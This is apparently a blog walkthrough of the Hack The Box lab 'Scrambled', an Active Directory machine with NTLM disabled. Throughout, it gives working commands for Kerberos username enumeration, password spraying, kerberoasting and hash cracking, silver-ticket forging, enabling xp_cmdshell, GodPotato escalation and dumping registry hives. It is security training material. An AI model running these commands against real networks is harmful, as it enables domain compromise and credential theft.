← Back to the log
September 19, 2026·Johnytiger

HTB: Scrambled

NTLM is switched off across the domain, so everything runs over Kerberos. A username sprayed as its own password opens the door, a kerberoasted SQL service account gets cracked, and a forged silver ticket walks straight past the login the admins thought they had locked down.

securityctfwriteuphacktheboxactive directorywindowskerberosmssql

This is another Active Directory box, and we can see we also have a site hosted and a MSSQL server.

The nmap scan showing LDAP over SSL for the scrm.local domain and Microsoft SQL Server 2019 listening on port 1433

Let's first add these domains to our hosts file and then head over to that hosted site to see what we have going on there.

It's a simple company site. We can see there is a debugging feature in their internal software that states it will save the log file in the location the app was launched from. This is juicy, because if we can get access to someone's account we would probably be able to view it.

A support page walking users through enabling debug logging in the sales app, noting the log file lands in the folder the app was launched from

Enough of the website. I'll leave a feroxbuster directory bust running just in case we missed any files and move on to LDAP enumeration.

Heading back to our nmap we see this is a Kerberos-heavy box, so we will try to bruteforce some usernames to work with by using kerbrute.

kerbrute userenum -d scrm.local --dc dc1.scrm.local \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  -t 50 -o valid_users.txt

kerbrute enumerating valid Kerberos principals and returning administrator, asmith, jhall, sjenkins, khicks and tstar

We got a few users so far. Let's throw them into a list and run it by NetExec and see what we can get. Running it with the usernames as passwords gives us nothing.

nxc smb dc1.scrm.local -u users.txt -p users.txt --no-bruteforce --continue-on-success -k

The spray against the first user list, with every account returning a Kerberos preauth failure

Note the -k flag. NTLM is switched off on this box, so every tool has to authenticate over Kerberos or it will not get a word out of the domain controller.

Let's enumerate some more. After rerunning this with a longer username list we finally get a hit on ksimpson, with the password being ksimpson.

The rerun of the spray on a longer list, landing a hit for ksimpson over both SMB and LDAP

nxc smb dc1.scrm.local -u $USER -p $PASS -k --shares

We authenticate with Kerberos and pull the share list.

NetExec listing the shares as ksimpson, showing READ on IPC, NETLOGON, Public and SYSVOL

There is a Public share, so let's take a look inside. There's a security notice PDF, so let's download this and check it out.

impacket-smbclient -k -no-pass scrm.local/ksimpson@dc1.scrm.local

The security notice, explaining that NTLM authentication has been disabled network wide after an NTLM relaying incident, and that everything now runs on Kerberos

So there's no NTLM relay here, but we do have creds on the domain controller, so let's pull SPNs using GetUserSPNs and see what we can get.

impacket-GetUserSPNs -k -no-pass -dc-host dc1.scrm.local -target-domain scrm.local \
  -request -outputfile spns.hashes scrm.local/ksimpson

GetUserSPNs returning the MSSQLSvc service principal names for the sqlsvc account, along with its TGS hash

Alright, we get the SQL service hash. Let's try to crack this with rockyou.

hashcat -m 13100 spns.hashes /usr/share/wordlists/rockyou.txt

Hashcat cracking the TGS-REP hash in mode 13100 and recovering the plaintext password for the SQL service account

It cracked. Now let's request a ticket and hit that MSSQL service and see if we can grab any loot.

impacket-mssqlclient -k scrm.local/sqlsvc@dc1.scrm.local -dc-ip 10.129.88.139

The MSSQL client authenticating with the service account's own ticket and being rejected, with login failed for the sqlsvc user

Remember from the PDF, they had disabled access for this. Let's find another way.

We might be able to forge our own silver ticket here. A silver ticket is signed with the service account's own key rather than the domain controller's, so the SQL server will accept whatever identity we put inside it without ever asking the KDC. We have the service password, so we can mint one for the administrator.

First we need the NT hash of that password.

python3 -c "import hashlib; print(hashlib.new('md4','Pegasus60'.encode('utf-16-le')).hexdigest())"

The Python one-liner converting the cracked service password into its NT hash

Then we switch back to ksimpson and pull the domain SID.

export KRB5CCNAME=$PWD/ksimpson.ccache
nxc ldap dc1.scrm.local -u ksimpson -p ksimpson -k --get-sid

NetExec returning the domain SID for scrm.local

Now let's get those SPNs.

impacket-GetUserSPNs -k -no-pass -dc-host dc1.scrm.local scrm.local/ksimpson

The SPN list confirming the exact service principal name registered on port 1433

Great, we now have all the info we need for impacket-ticketer.

impacket-ticketer \
  -nthash b999a16500b87d17ec7f2e2a68778f05 \
  -domain-sid S-1-5-21-2743207045-1827831105-2542523200 \
  -domain scrm.local \
  -spn MSSQLSvc/dc1.scrm.local:1433 \
  -user-id 500 \
  administrator

export KRB5CCNAME=$PWD/administrator.ccache

impacket-mssqlclient -k -no-pass scrm.local/administrator@dc1.scrm.local -dc-ip 10.129.88.139

impacket-ticketer forging the silver ticket, and the MSSQL client logging straight in as SCRM administrator

And we are in.

Let's begin enumeration on the database.

SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Now we have a command shell on the box through SQL. Let's try to get a better shell by pushing a reverse shell executable. We have to download it into C:\Windows\Temp so it doesn't get eaten up, and bam, we get a better shell.

whoami /priv for the SQL service account, showing SeImpersonatePrivilege enabled

We have impersonate privileges, so you already know what time it is. Let's bring over GodPotato and see if we can work with it.

.\gp.exe -cmd "cmd /c reg save HKLM\SYSTEM system.hive /y"
.\gp.exe -cmd "cmd /c reg save HKLM\SECURITY security.hive /y"
.\gp.exe -cmd "cmd /c reg save HKLM\SAM sam.hive /y"

Let's push these over to our machine.

sudo impacket-smbserver share . -smb2support

We are having trouble downloading things with this shell, so we move to an Impacket shell where we can hit it with the get command.

impacket-psexec -k -no-pass scrm.local/administrator@dc1.scrm.local

OK, so this was practically a dead end and a waste of time. Let's head back to the SQL server and explore what that HR memo was talking about.

USE ScrambleHR;
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;
SELECT TOP 100 * FROM UserImport;

The ScrambleHR database, where the UserImport table stores the MiscSvc account's LDAP username and password in cleartext

Exploring the tables gives us creds to the MiscSvc account.

impacket-getTGT scrm.local/${USER}:"${PASS}" -dc-ip 10.129.88.139
export KRB5CCNAME=$PWD/${USER}.ccache

And then let's check those SMB shares.

NetExec as MiscSvc, now showing READ access on the IT share

We get access to that IT share, so let's explore and see what we get.

impacket-smbclient -k -no-pass -dc-ip 10.129.88.139 scrm.local/MiscSvc@dc1.scrm.local

There are a couple of binaries in here. Let's download them all and try to get a WinRM shell with Kerberos on the MiscSvc username. First we set up our Kerberos config file.

sudo tee /etc/krb5.conf > /dev/null <<'EOF'
[libdefaults]
  default_realm = SCRM.LOCAL
  dns_lookup_kdc = false
  dns_lookup_realm = false

[realms]
  SCRM.LOCAL = {
    kdc = dc1.scrm.local
    admin_server = dc1.scrm.local
  }

[domain_realm]
  .scrm.local = SCRM.LOCAL
  scrm.local  = SCRM.LOCAL
EOF

evil-winrm -i dc1.scrm.local -r scrm.local

And we are in. Heading over to the desktop we find the user flag.

Reading user.txt from the miscsvc desktop over Evil-WinRM, with the flag value blurred out

Great, now let's head back to those binaries and string them out with a grep and see what we have going on there.

strings -e l ScrambleClient.exe > client.utf16.txt
strings    ScrambleClient.exe > client.utf8.txt
strings -e l ScrambleLib.dll  > lib.utf16.txt
strings    ScrambleLib.dll    > lib.utf8.txt

grep -iE 'password|admin|scramble|4411|spn|kerberos|command|order|backup|login' \
  client.*.txt lib.*.txt | head -40

Strings pulled out of the client binary and library, surfacing a scrmdev reference alongside the debug log and order handling strings

We find a scrmdev reference, which looks like a user. The plan was to dump SPNs with MiscSvc and crack those hashes, but wait, this is probably a local account. Remember we already checked who was on this box, so let's back-track a bit here.

This was a waste of time and a rabbit hole. After searching and moving around so much, I went back to the SQL shell and bam, the root flag was on the desktop of the sqlsvc account all along.

EXEC xp_cmdshell 'type C:\Users\sqlsvc\Desktop\root.txt';

The SQL command shell reading root.txt out of the sqlsvc desktop, with the flag value blurred out

This box was insane and full of red herrings, had me scrambling around. It's always good to take a deep breath and a break, and just reevaluate the situation.

End of transmissionAll posts
Drive
Johnytiger